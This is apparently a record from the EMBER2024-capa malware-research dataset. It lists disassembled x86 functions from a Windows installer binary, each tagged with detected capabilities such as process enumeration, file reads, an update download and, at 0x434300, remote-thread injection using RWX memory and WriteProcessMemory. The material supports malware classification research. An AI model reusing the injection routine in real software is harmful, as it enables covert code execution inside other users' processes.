joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431d90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
push 0x3f4
call fcn.00418306
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push 0x3f4
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00418aa0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x3e8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x3ec], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x3f0], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push sym.Install_time.exe_private:_static_unsigned_int___stdcall_CNsUpdate::UpdateThread_void__
push 0
push 0
call fcn.00424324
add esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x431e20
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4320a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.00418aa0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_time.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push str.proxy.dat
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44cc50
lea eax, [ebp - 0x210]
push eax
call fcn.0042465e
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x432130
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.00425672
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret
Function at 0x432250
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446770
mov eax, dword fs:[0]
push eax
sub esp, 0x64c
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.00418aa0
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x43236e
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.004056c0
mov dword [ebp - 4], 0
lea edi, [ebp - 0x620]
call fcn.0040a140
push str.gzip
lea ecx, [ebp - 0x620]
call fcn.004169e0
test eax, eax
je 0x432338
push 0x44cc64
lea ecx, [ebp - 0x620]
call fcn.004169e0
test eax, eax
jne 0x43235c
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.004058e0
mov eax, dword [ebp - 0x624]
jmp 0x432370
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.004058e0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4
Function at 0x4342b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret 4
Function at 0x434300
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
push 1
push 0x44d238
call sym.Install_time.exe_int___cdecl_SetPrivilege_wchar_t_const___int_
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x434339
xor al, al
jmp 0x43449a
push 0x40
push 0x1000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x434360
xor al, al
jmp 0x43449a
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x434388
xor al, al
jmp 0x43449a
push 0xc
push 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.00418aa0
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
push str.LoadLibraryA
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x44d288
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
cmp dword [ebp + 0x14], 0
je 0x434422
push 0x40
push 0x1000
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4343f7
xor al, al
jmp 0x43449a
push 0
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x43441c
xor al, al
jmp 0x43449a
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
push 0x40
push 0x1000
push 0xc
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x434444
xor al, al
jmp 0x43449a
push 0
push 0xc
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x434467
xor al, al
jmp 0x43449a
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x43448e
xor al, al
jmp 0x43449a
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4344a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp + 8]
call fcn.00415fd0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x23c], eax
push 0x22c
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.00418aa0
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43450d
xor al, al
jmp 0x43457f
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp + 8]
call fcn.00415ec0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x434538
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x43457f
push 0x22c
push 0
lea edx, [ebp - 0x238]
push edx
call fcn.00418aa0
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43450d
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4

Function at 0x435800
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret 4
Function at 0x436920
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp 0x43693b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx + 0x190]
jge 0x436981
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.00418aa0
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 8
lea edx, [ebp - 0xc]
push edx
call fcn.00425672
add esp, 0x10
push 1
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00425c74
add esp, 0xc
jmp 0x436932
mov esp, ebp
pop ebp
ret 8

Function at 0x4369b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.00418aa0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x21a]
cmp ecx, 0x5c
jne 0x436a28
push str.nslicense.txt
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x436a3a
push str._nslicense.txt
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
push 0x44de50
push 0x1f55
call sym.Install_time.exe_int___cdecl_NsResSave_int__wchar_t_const___wchar_t_const__
add esp, 0xc
push 5
push 0
lea edx, [ebp - 0x218]
push edx
push str.notepad.exe
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret
Function at 0x436ab0
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.00418aa0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x21a]
cmp ecx, 0x5c
jne 0x436b28
push 0x44d5ec
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x436b3a
push 0x44d67c
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x436bd4
cmp dword [ebp + 8], 0
je 0x436b96
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x436b7c
push 0
push 1
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x218]
push ecx
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x436b94
push 0
push 1
push 0x44d6ac
lea edx, [ebp - 0x218]
push edx
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x436bd4
mov eax, dword [ebp - 0x21c]
cmp dword [eax + 0xb54], 0xfffffffe
jne 0x436bbc
push 5
push 1
push 0
lea ecx, [ebp - 0x218]
push ecx
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x436bd4
push 0
push 1
push 0x44d6b4
lea edx, [ebp - 0x218]
push edx
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4
Function at 0x436fe0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446890
mov eax, dword fs:[0]
push eax
sub esp, 0x238
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x244], ecx
xor eax, eax
mov word [ebp - 0x224], ax
push 0x208
push 0
lea ecx, [ebp - 0x222]
push ecx
call fcn.00418aa0
add esp, 0xc
push 0
push 0x26
lea edx, [ebp - 0x224]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x224]
push eax
push str.prog
mov ecx, dword [ebp + 8]
call fcn.00410a80
lea ecx, [ebp - 0x224]
push ecx
call sym.Install_time.exe_int___cdecl_GetDesktopPath_wchar_t__
add esp, 4
lea edx, [ebp - 0x224]
push edx
push str.desktop
mov ecx, dword [ebp + 8]
call fcn.00410a80
lea eax, [ebp - 0x224]
push eax
call sym.Install_time.exe_int___cdecl_GetProgramsPath_wchar_t__
add esp, 4
push 0x44dd6c
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp - 0x244]
add edx, 0x6f0
push edx
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x224]
push ecx
push 0x44dd70
mov ecx, dword [ebp + 8]
call fcn.00410a80
mov eax, dword [ebp - 0x244]
add eax, 0xb58
call fcn.00405900
push eax
push str.myapp
mov ecx, dword [ebp + 8]
call fcn.00410a80
call sym.Install_time.exe_int___cdecl_isWow64_void_
test eax, eax
je 0x4371ae
push 0x104
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea eax, [ebp - 0x224]
push eax
push 0x44dd98
mov ecx, dword [ebp + 8]
call fcn.00410a80
push 0x104
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x224]
push edx
push 0x44dda4
mov ecx, dword [ebp + 8]
call fcn.00410a80
push 0
push 0x26
lea eax, [ebp - 0x224]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x228]
push ecx
lea ecx, [ebp - 0x224]
call fcn.004056c0
mov dword [ebp - 4], 0
push 0x44ddb4
push str.__x86_
lea ecx, [ebp - 0x228]
call fcn.00410a80
lea eax, [ebp - 0x228]
call fcn.00405900
push eax
push 0x44ddc8
mov ecx, dword [ebp + 8]
call fcn.00410a80
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x228]
call fcn.004058e0
jmp 0x43720f
push 0x104
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x224]
push eax
push str.sys
mov ecx, dword [ebp + 8]
call fcn.00410a80
lea ecx, [ebp - 0x224]
push ecx
push str.sys64
mov ecx, dword [ebp + 8]
call fcn.00410a80
push 0
push 0x26
lea edx, [ebp - 0x224]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x224]
push eax
push str.prog64
mov ecx, dword [ebp + 8]
call fcn.00410a80
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4
Function at 0x437830
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446949
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x459080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xae4], 0
je 0x4378d2
lea esi, [ebp - 0x10]
call fcn.00405680
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
add ecx, 0x4fc
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xb58]
push eax
push 0x44da58
lea edi, [ebp - 0x10]
call fcn.00405e60
add esp, 0xc
lea eax, [ebp - 0x10]
call fcn.00405900
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4378c3
push 5
push 0
push 0
lea eax, [ebp - 0x10]
call fcn.00405900
push eax
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
call fcn.004058e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4378f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446974
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x459080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
add eax, 0xa10
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x437932
jmp 0x4379cd
lea esi, [ebp - 0x10]
call fcn.00405680
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
add ecx, 0xa10
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0xb58]
push eax
push 0x44da24
lea edi, [ebp - 0x10]
call fcn.00405e60
add esp, 0xc
lea eax, [ebp - 0x10]
call fcn.00405900
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4379be
lea esi, [ebp - 0x14]
call fcn.00405680
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
push ecx
push str._s___s_
lea edi, [ebp - 0x14]
call fcn.00405e60
add esp, 8
push 0
push 0
lea eax, [ebp - 0x14]
call fcn.00405900
push eax
push str.regedit.exe
call sym.Install_time.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea eax, [ebp - 0x14]
call fcn.004058e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
call fcn.004058e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4379e0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 8], eax
push edi
mov dword [ebp - 0x22c], ecx
mov eax, dword [ebp - 0x22c]
add eax, 0xb58
call fcn.00405820
test eax, eax
jle 0x437a13
jmp 0x437af9
mov eax, dword [ebp + 8]
add eax, 0x85c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x437aa3
mov edx, dword [ebp + 8]
add edx, 0x85c
mov edi, dword [ebp - 0x22c]
add edi, 0xb58
call fcn.004057e0
mov eax, dword [ebp - 0x22c]
add eax, 0xb58
call fcn.00405820
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x22c]
add ecx, 0xb58
call fcn.00413510
movzx edx, ax
cmp edx, 0x5c
jne 0x437a89
movzx eax, word [ebp - 4]
push eax
mov ecx, dword [ebp - 0x22c]
add ecx, 0xb58
call fcn.004132d0
mov ecx, dword [ebp - 0x22c]
add ecx, 0xb58
push ecx
mov ecx, dword [ebp - 0x22c]
call sym.Install_time.exe_private:_void___thiscall_CNsInstaller::ReplaceSysPath_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
jmp 0x437af9
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00418aa0
add esp, 0xc
push 0
push 0x26
lea ecx, [ebp - 0x210]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x210]
push eax
push 0x44d4bc
mov edi, dword [ebp - 0x22c]
add edi, 0xb58
call fcn.00405e60
add esp, 0xc
pop edi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4
Function at 0x437b10
Capabilities:
Get common file path
Get program files directory
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x450], ecx
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00418aa0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x44d4ac
lea eax, [ebp - 0x210]
push eax
call fcn.0042465e
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x437b87
xor al, al
jmp 0x437c74
lea ecx, [ebp - 0x218]
push ecx
push 0x44d4b4
push 0x1f41
call sym.Install_time.exe_int___cdecl_NsResGetBuff_int__wchar_t_const___void__
add esp, 0xc
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jne 0x437c0f
push 0xb00
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.00418aa0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x428], ax
push 0x206
push 0
lea ecx, [ebp - 0x426]
push ecx
call fcn.00418aa0
add esp, 0xc
push 0
push 0x26
lea edx, [ebp - 0x428]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edi, dword [ebp - 0x450]
add edi, 0xb58
lea edx, [ebp - 0x428]
call fcn.004057e0
xor al, al
jmp 0x437c74
push 0
mov eax, dword [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.00425c74
add esp, 0xc
push 0xb00
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.00418aa0
add esp, 0xc
mov eax, dword [ebp - 0x214]
push eax
push 1
push 0xb00
mov ecx, dword [ebp + 8]
push ecx
call fcn.00425672
add esp, 0x10
mov edx, dword [ebp - 0x214]
push edx
call fcn.004222aa
add esp, 4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x450]
call sym.Install_time.exe_private:_void___thiscall_CNsInstaller::InitPath_struct_tagSetupInfo__
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4
Function at 0x4391b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447306
mov eax, dword fs:[0]
push eax
sub esp, 0x23c
mov eax, dword [0x459080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x22c], 0
lea eax, [ebp - 0x22c]
push eax
push 0x44de70
push 0x1f56
call sym.Install_time.exe_int___cdecl_NsResGetBuff_int__wchar_t_const___void__
add esp, 0xc
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x439228
cmp dword [ebp - 0x22c], 0
je 0x439228
mov byte [sym.Install_time.exe_bool_CNsInstaller::m_bUpdated], 1
jmp 0x4392e5
mov byte [sym.Install_time.exe_bool_CNsInstaller::m_bUpdated], 0
lea ecx, [ebp - 0x230]
push ecx
mov ecx, str.http:__www.hofosoft.com_hofosoft_update_install_data.zip
call fcn.004056c0
mov dword [ebp - 4], 0
xor edx, edx
mov word [ebp - 0x224], dx
push 0x208
push 0
lea eax, [ebp - 0x222]
push eax
call fcn.00418aa0
add esp, 0xc
lea ecx, [ebp - 0x224]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x224]
push edx
call sym.Install_time.exe_public:_static_class_CNsUpdate____cdecl_CNsUpdate::Instance_void_
mov ecx, eax
call sym.Install_time.exe_public:_void___thiscall_CNsUpdate::SetPath_wchar_t_const__
movzx eax, byte [ebp + 8]
test eax, eax
je 0x4392b4
push 0
push sym.Install_time.exe_private:_static_void___stdcall_CNsInstaller::UpdateNotify_int__int__int_
lea eax, [ebp - 0x230]
call fcn.00405900
push eax
call sym.Install_time.exe_public:_static_class_CNsUpdate____cdecl_CNsUpdate::Instance_void_
mov ecx, eax
call sym.Install_time.exe_public:_void___thiscall_CNsUpdate::StartUpdate_wchar_t_const___void____stdcall___int__int__int___void____stdcall___int__wchar_t_const___long_long___int64___long_long___int64___double__
jmp 0x4392d3
push 0
push sym.Install_time.exe_private:_static_void___stdcall_CNsInstaller::UpdateNotify_int__int__int_
lea eax, [ebp - 0x230]
call fcn.00405900
push eax
call sym.Install_time.exe_public:_static_class_CNsUpdate____cdecl_CNsUpdate::Instance_void_
mov ecx, eax
call sym.Install_time.exe_public:_int___thiscall_CNsUpdate::CheckUpdate_wchar_t_const___void____stdcall___int__int__int___void____stdcall___int__wchar_t_const___long_long___int64___long_long___int64___double__
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x230]
call fcn.004058e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bfa
mov esp, ebp
pop ebp
ret 4